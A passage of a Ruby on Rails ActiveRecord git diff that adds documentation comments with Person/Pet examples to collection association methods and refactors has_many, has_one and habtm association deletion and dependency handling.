+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.concat([Pet.new(name: 'Brain'), Pet.new(name: 'Benny')])
+      #   person.pets.size # => 5
+      def concat(*records)
+        @association.concat(*records)
+      end
+
+      ##
+      # Replace this collection with +other_array+. This will perform a diff
+      # and delete/add only records that have changed.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
+      #
+      #   other_pets = [Pet.new(name: 'Puff', group: 'celebrities']
+      #
+      #   person.pets.replace(other_pets)
+      #
+      #   person.pets
+      #   # => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
+      #
+      # If the supplied array has an incorrect association type, it raises
+      # an <tt>ActiveRecord::AssociationTypeMismatch</tt> error:
+      #
+      #   person.pets.replace(["doo", "ggie", "gaga"])
+      #   # => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
+      def replace(other_array)
+        @association.replace(other_array)
+      end
+
+      ##
+      # Deletes all the records from the collection. For +has_many+ associations,
+      # the deletion is done according to the strategy specified by the <tt>:dependent</tt>
+      # option. Returns an array with the deleted records.
+      #
+      # If no <tt>:dependent</tt> option is given, then it will follow the
+      # default strategy. The default strategy is <tt>:nullify</tt>. This
+      # sets the foreign keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>,
+      # the default strategy is +delete_all+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets # dependent: :nullify option by default
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 0
+      #   person.pets      # => []
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: nil>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: nil>
+      #   #    ]
+      #
+      # If it is set to <tt>:destroy</tt> all the objects from the collection
+      # are removed by calling their +destroy+ method. See +destroy+ for more
+      # information.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :destroy
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => ActiveRecord::RecordNotFound
+      #
+      # If it is set to <tt>:delete_all</tt>, all the objects are deleted
+      # *without* calling their +destroy+ method.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :delete_all
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => ActiveRecord::RecordNotFound
+      def delete_all
+        @association.delete_all
+      end
+
+      ##
+      # Deletes the records of the collection directly from the database.
+      # This will _always_ remove the records ignoring the +:dependent+
+      # option.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy_all
+      #
+      #   person.pets.size # => 0
+      #   person.pets      # => []
+      #
+      #   Pet.find(1) # => Couldn't find Pet with id=1
+      def destroy_all
+        @association.destroy_all
+      end
+
+      ##
+      # Deletes the +records+ supplied and removes them from the collection. For
+      # +has_many+ associations, the deletion is done according to the strategy
+      # specified by the <tt>:dependent</tt> option. Returns an array with the
+      # deleted records.
+      #
+      # If no <tt>:dependent</tt> option is given, then it will follow the default
+      # strategy. The default strategy is <tt>:nullify</tt>. This sets the foreign
+      # keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>, the default
+      # strategy is +delete_all+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets # dependent: :nullify option by default
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1)
+      #   # => #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>
+      #
+      # If it is set to <tt>:destroy</tt> all the +records+ are removed by calling
+      # their +destroy+ method. See +destroy+ for more information.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :destroy
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1), Pet.find(3))
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 1
+      #   person.pets
+      #   # => [#<Pet id: 2, name: "Spook", person_id: 1>]
+      #
+      #   Pet.find(1, 3)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 3)
+      #
+      # If it is set to <tt>:delete_all</tt>, all the +records+ are deleted
+      # *without* calling their +destroy+ method.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :delete_all
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=1
+      #
+      # You can pass +Fixnum+ or +String+ values, it finds the records
+      # responding to the +id+ and executes delete on them.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete("1")
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.delete(2, 3)
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def delete(*records)
+        @association.delete(*records)
+      end
+
+      ##
+      # Destroys the +records+ supplied and removes them from the collection.
+      # This method will _always_ remove record from the database ignoring
+      # the +:dependent+ option. Returns an array with the removed records.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(Pet.find(2), Pet.find(3))
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 0
+      #   person.pets       # => []
+      #
+      #   Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 2, 3)
+      #
+      # You can pass +Fixnum+ or +String+ values, it finds the records
+      # responding to the +id+ and then deletes them from the database.
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy("4")
+      #   # => #<Pet id: 4, name: "Benny", person_id: 1>
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(5, 6)
+      #   # => [
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 0
+      #   person.pets       # => []
+      #
+      #   Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (4, 5, 6)
+      def destroy(*records)
+        @association.destroy(*records)
+      end
+
+      ##
+      # Specifies whether the records should be unique or not.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.select(:name)
+      #   # => [
+      #   #      #<Pet name: "Fancy-Fancy">,
+      #   #      #<Pet name: "Fancy-Fancy">
+      #   #    ]
+      #
+      #   person.pets.select(:name).uniq
+      #   # => [#<Pet name: "Fancy-Fancy">]
+      def uniq
+        @association.uniq
+      end
+
+      ##
+      # Count all records using SQL.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def count(column_name = nil, options = {})
+        @association.count(column_name, options)
+      end
+
+      ##
+      # Returns the size of the collection. If the collection hasn't been loaded,
+      # it executes a <tt>SELECT COUNT(*)</tt> query.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   # executes something like SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" = 1
+      #
+      #   person.pets # This will execute a SELECT * FROM query
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 3
+      #   # Because the collection is already loaded, this will behave like
+      #   # collection.size and no SQL count query is executed.
+      def size
+        @association.size
+      end
+
+      ##
+      # Returns the size of the collection calling +size+ on the target.
+      # If the collection has been already loaded, +length+ and +size+ are
+      # equivalent.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.length # => 3
+      #   # executes something like SELECT "pets".* FROM "pets" WHERE "pets"."person_id" = 1
+      #
+      #   # Because the collection is loaded, you can
+      #   # call the collection with no additional queries:
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def length
+        @association.length
+      end
+
+      ##
+      # Returns +true+ if the collection is empty.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count  # => 1
+      #   person.pets.empty? # => false
+      #
+      #   person.pets.delete_all
+      #
+      #   person.pets.count  # => 0
+      #   person.pets.empty? # => true
+      def empty?
+        @association.empty?
+      end
+
+      ##
+      # Returns +true+ if the collection is not empty.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count # => 0
+      #   person.pets.any?  # => false
+      #
+      #   person.pets << Pet.new(name: 'Snoop')
+      #   person.pets.count # => 0
+      #   person.pets.any?  # => true
+      #
+      # You can also pass a block to define criteria. The behaviour
+      # is the same, it returns true if the collection based on the
+      # criteria is not empty.
+      #
+      #   person.pets
+      #   # => [#<Pet name: "Snoop", group: "dogs">]
+      #
+      #   person.pets.any? do |pet|
+      #     pet.group == 'cats'
+      #   end
+      #   # => false
+      #
+      #   person.pets.any? do |pet|
+      #     pet.group == 'dogs'
+      #   end
+      #   # => true
+      def any?(&block)
+        @association.any?(&block)
+      end
+
+      ##
+      # Returns true if the collection has more than one record.
+      # Equivalent to <tt>collection.size > 1</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count #=> 1
+      #   person.pets.many? #=> false
+      #
+      #   person.pets << Pet.new(name: 'Snoopy')
+      #   person.pets.count #=> 2
+      #   person.pets.many? #=> true
+      #
+      # You can also pass a block to define criteria. The
+      # behaviour is the same, it returns true if the collection
+      # based on the criteria has more than one record.
+      #
+      #   person.pets
+      #   # => [
+      #   #      #<Pet name: "Gorby", group: "cats">,
+      #   #      #<Pet name: "Puff", group: "cats">,
+      #   #      #<Pet name: "Snoop", group: "dogs">
+      #   #    ]
+      #
+      #   person.pets.many? do |pet|
+      #     pet.group == 'dogs'
+      #   end
+      #   # => false
+      #
+      #   person.pets.many? do |pet|
+      #     pet.group == 'cats'
+      #   end
+      #   # => true
+      def many?(&block)
+        @association.many?(&block)
+      end
+
+      ##
+      # Returns +true+ if the given object is present in the collection.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # => [#<Pet id: 20, name: "Snoop">]
+      #
+      #   person.pets.include?(Pet.find(20)) # => true
+      #   person.pets.include?(Pet.find(21)) # => false
+      def include?(record)
+        @association.include?(record)
       end
 
       alias_method :new, :build
@@ -62,61 +847,143 @@ module ActiveRecord
         @association
       end
 
-      def respond_to?(name, include_private = false)
-        super ||
-        (load_target && target.respond_to?(name, include_private)) ||
-        proxy_association.klass.respond_to?(name, include_private)
+      # We don't want this object to be put on the scoping stack, because
+      # that could create an infinite loop where we call an @association
+      # method, which gets the current scope, which is this object, which
+      # delegates to @association, and so on.
+      def scoping
+        @association.scope.scoping { yield }
       end
 
-      def method_missing(method, *args, &block)
-        match = DynamicFinderMatch.match(method)
-        if match && match.instantiator?
-          send(:find_or_instantiator_by_attributes, match, match.attribute_names, *args) do |r|
-            proxy_association.send :set_owner_attributes, r
-            proxy_association.send :add_to_target, r
-            yield(r) if block_given?
-          end
-        end
+      # Returns a <tt>Relation</tt> object for the records in this association
+      def scope
+        association = @association
 
-        if target.respond_to?(method) || (!proxy_association.klass.respond_to?(method) && Class.respond_to?(method))
-          if load_target
-            if target.respond_to?(method)
-              target.send(method, *args, &block)
-            else
-              begin
-                super
-              rescue NoMethodError => e
-                raise e, e.message.sub(/ for #<.*$/, " via proxy for #{target}")
-              end
-            end
-          end
-
-        else
-          scoped.readonly(nil).send(method, *args, &block)
+        @association.scope.extending! do
+          define_method(:proxy_association) { association }
         end
       end
 
-      # Forwards <tt>===</tt> explicitly to the \target because the instance method
-      # removal above doesn't catch it. Loads the \target if needed.
-      def ===(other)
-        other === load_target
+      # :nodoc:
+      alias spawn scope
+
+      # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
+      # contain the same number of elements and if each element is equal
+      # to the corresponding element in the other array, otherwise returns
+      # +false+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>
+      #   #    ]
+      #
+      #   other = person.pets.to_ary
+      #
+      #   person.pets == other
+      #   # => true
+      #
+      #   other = [Pet.new(id: 1), Pet.new(id: 2)]
+      #
+      #   person.pets == other
+      #   # => false
+      def ==(other)
+        load_target == other
       end
 
+      # Returns a new array of objects from the collection. If the collection
+      # hasn't been loaded, it fetches the records from the database. 
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   other_pets = person.pets.to_ary
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   other_pets.replace([Pet.new(name: 'BooGoo')])
+      #
+      #   other_pets
+      #   # => [#<Pet id: nil, name: "BooGoo", person_id: 1>]
+      #
+      #   person.pets
+      #   # This is not affected by replace
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
       def to_ary
         load_target.dup
       end
       alias_method :to_a, :to_ary
 
+      # Adds one or more +records+ to the collection by setting their foreign keys
+      # to the association‘s primary key. Returns +self+, so several appends may be
+      # chained together.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 0
+      #   person.pets << Pet.new(name: 'Fancy-Fancy')
+      #   person.pets << [Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo')]
+      #   person.pets.size # => 3
+      #
+      #   person.id # => 1
+      #   person.pets
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
       def <<(*records)
         proxy_association.concat(records) && self
       end
       alias_method :push, :<<
 
+      # Equivalent to +delete_all+. The difference is that returns +self+, instead
+      # of an array with the deleted objects, so methods can be chained. See
+      # +delete_all+ for more information.
       def clear
         delete_all
         self
       end
 
+      # Reloads the collection from the database. Returns +self+.
+      # Equivalent to <tt>collection(true)</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets # uses the pets cache
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets.reload # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets(true)  # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
       def reload
         proxy_association.reload
         self
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index 1f917f58f2..93618721bb 100644
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -5,7 +5,7 @@ module ActiveRecord
       attr_reader :join_table
 
       def initialize(owner, reflection)
-        @join_table = Arel::Table.new(reflection.options[:join_table])
+        @join_table = Arel::Table.new(reflection.join_table)
         super
       end
 
@@ -40,13 +40,20 @@ module ActiveRecord
 
         def delete_records(records, method)
           if sql = options[:delete_sql]
+            records = load_target if records == :all
             records.each { |record| owner.connection.delete(interpolate(sql, record)) }
           else
-            relation = join_table
-            stmt = relation.where(relation[reflection.foreign_key].eq(owner.id).
-              and(relation[reflection.association_foreign_key].in(records.map { |x| x.id }.compact))
-            ).compile_delete
-            owner.connection.delete stmt
+            relation  = join_table
+            condition = relation[reflection.foreign_key].eq(owner.id)
+
+            unless records == :all
+              condition = condition.and(
+                relation[reflection.association_foreign_key]
+                  .in(records.map { |x| x.id }.compact)
+              )
+            end
+
+            owner.connection.delete(relation.where(condition).compile_delete)
           end
         end
 
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index 50ee60284c..74864d271f 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -7,6 +7,28 @@ module ActiveRecord
     # is provided by its child HasManyThroughAssociation.
     class HasManyAssociation < CollectionAssociation #:nodoc:
 
+      def handle_dependency
+        case options[:dependent]
+        when :restrict, :restrict_with_exception
+          raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
+
+        when :restrict_with_error
+          unless empty?
+            record = klass.human_attribute_name(reflection.name).downcase
+            owner.errors.add(:base, :"restrict_dependent_destroy.many", record: record)
+            false
+          end
+
+        else
+          if options[:dependent] == :destroy
+            # No point in executing the counter update since we're going to destroy the parent anyway
+            load_target.each(&:mark_for_destruction)
+          end
+
+          delete_all
+        end
+      end
+
       def insert_record(record, validate = true, raise = false)
         set_owner_attributes(record)
 
@@ -38,7 +60,7 @@ module ActiveRecord
           elsif options[:counter_sql] || options[:finder_sql]
             reflection.klass.count_by_sql(custom_counter_sql)
           else
-            scoped.count
+            scope.count
           end
 
           # If there's nothing in the database and @target has no new records
@@ -46,7 +68,7 @@ module ActiveRecord
           # documented side-effect of the method that may avoid an extra SELECT.
           @target ||= [] and loaded! if count == 0
 
-          [options[:limit], count].compact.min
+          [association_scope.limit_value, count].compact.min
         end
 
         def has_cached_counter?(reflection = reflection)
@@ -89,8 +111,12 @@ module ActiveRecord
             records.each { |r| r.destroy }
             update_counter(-records.length) unless inverse_updates_counter_cache?
           else
-            keys  = records.map { |r| r[reflection.association_primary_key] }
-            scope = scoped.where(reflection.association_primary_key => keys)
+            if records == :all
+              scope = self.scope
+            else
+              keys  = records.map { |r| r[reflection.association_primary_key] }
+              scope = self.scope.where(reflection.association_primary_key => keys)
+            end
 
             if method == :delete_all
               update_counter(-scope.delete_all)
@@ -99,6 +125,10 @@ module ActiveRecord
             end
           end
         end
+
+        def foreign_key_present?
+          owner.attribute_present?(reflection.association_primary_key)
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index 7e6e3be382..88ff11f953 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   # = Active Record Has Many Through Association
@@ -69,7 +68,9 @@ module ActiveRecord
         # association
         def build_through_record(record)
           @through_records[record.object_id] ||= begin
-            through_record = through_association.build(construct_join_attributes(record))
+            ensure_mutable
+
+            through_record = through_association.build
             through_record.send("#{source_reflection.name}=", record)
             through_record
           end
@@ -120,7 +121,12 @@ module ActiveRecord
         def delete_records(records, method)
           ensure_not_nested
 
-          scope = through_association.scoped.where(construct_join_attributes(*records))
+          # This is unoptimised; it will load all the target records
+          # even when we just want to delete everything.
+          records = load_target if records == :all
+
+          scope = through_association.scope
+          scope.where! construct_join_attributes(*records)
 
           case method
           when :destroy
@@ -164,7 +170,7 @@ module ActiveRecord
 
         def find_target
           return [] unless target_reflection_has_associated_record?
-          scoped.all
+          scope.to_a
         end
 
         # NOTE - not sure that we can actually cope with inverses here
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 2131edbc20..dd7da59a86 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -1,26 +1,45 @@
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveRecord
   # = Active Record Belongs To Has One Association
   module Associations
     class HasOneAssociation < SingularAssociation #:nodoc:
-      def replace(record, save = true)
-        raise_on_type_mismatch(record) if record
-        load_target
 
-        reflection.klass.transaction do
-          if target && target != record
-            remove_target!(options[:dependent]) unless target.destroyed?
+      def handle_dependency
+        case options[:dependent]
+        when :restrict, :restrict_with_exception
+          raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
+
+        when :restrict_with_error
+          if load_target
+            record = klass.human_attribute_name(reflection.name).downcase
+            owner.errors.add(:base, :"restrict_dependent_destroy.one", record: record)
+            false
           end
 
-          if record
-            set_owner_attributes(record)
-            set_inverse_instance(record)
+        else
+          delete
+        end
+      end
+
+      def replace(record, save = true)
+        raise_on_type_mismatch(record) if record
+        load_target
 
-            if owner.persisted? && save && !record.save
-              nullify_owner_attributes(record)
-              set_owner_attributes(target) if target
-              raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
+        # If target and record are nil, or target is equal to record,
+        # we don't need to have transaction.
+        if (target || record) && target != record
+          reflection.klass.transaction do
+            remove_target!(options[:dependent]) if target && !target.destroyed?
+  
+            if record
+              set_owner_attributes(record)
+              set_inverse_instance(record)
+  
+              if owner.persisted? && save && !record.save
+                nullify_owner_attributes(record)
+                set_owner_attributes(target) if target
+                raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
+              end
             end
           end
         end
@@ -36,7 +55,7 @@ module ActiveRecord
             when :destroy
               target.destroy
             when :nullify
-              target.update_attribute(reflection.foreign_key, nil)
+              target.update_columns(reflection.foreign_key => nil)
           end
         end
       end
@@ -52,16 +71,19 @@ module ActiveRecord
         end
 
         def remove_target!(method)
-          if method.in?([:delete, :destroy])
-            target.send(method)
-          else
-            nullify_owner_attributes(target)
+          case method
+            when :delete
+              target.delete
+            when :destroy
+              target.destroy
+            else
+              nullify_owner_attributes(target)
 
-            if target.persisted? && owner.persisted? && !target.save
-              set_owner_attributes(target)
-              raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " +
-                                    "The record failed to save when after its foreign key was set to nil."
-            end
+              if target.persisted? && owner.persisted? && !target.save
+                set_owner_attributes(target)
+                raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " +
+                                      "The record failed to save when after its foreign key was set to nil."
+              end
           end
         end
 
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 6c878f0f00..cd366ac8b7 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -13,7 +13,7 @@ module ActiveRecord
         @join_parts    = [JoinBase.new(base)]
         @associations  = {}
         @reflections   = []
-        @alias_tracker = AliasTracker.new(joins)
+        @alias_tracker = AliasTracker.new(base.connection, joins)
         @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
         build(associations)
       end
@@ -184,7 +184,7 @@ module ActiveRecord
 
         macro = join_part.reflection.macro
         if macro == :has_one
-          return if record.association_cache.key?(join_part.reflection.name)
+          return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
           association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
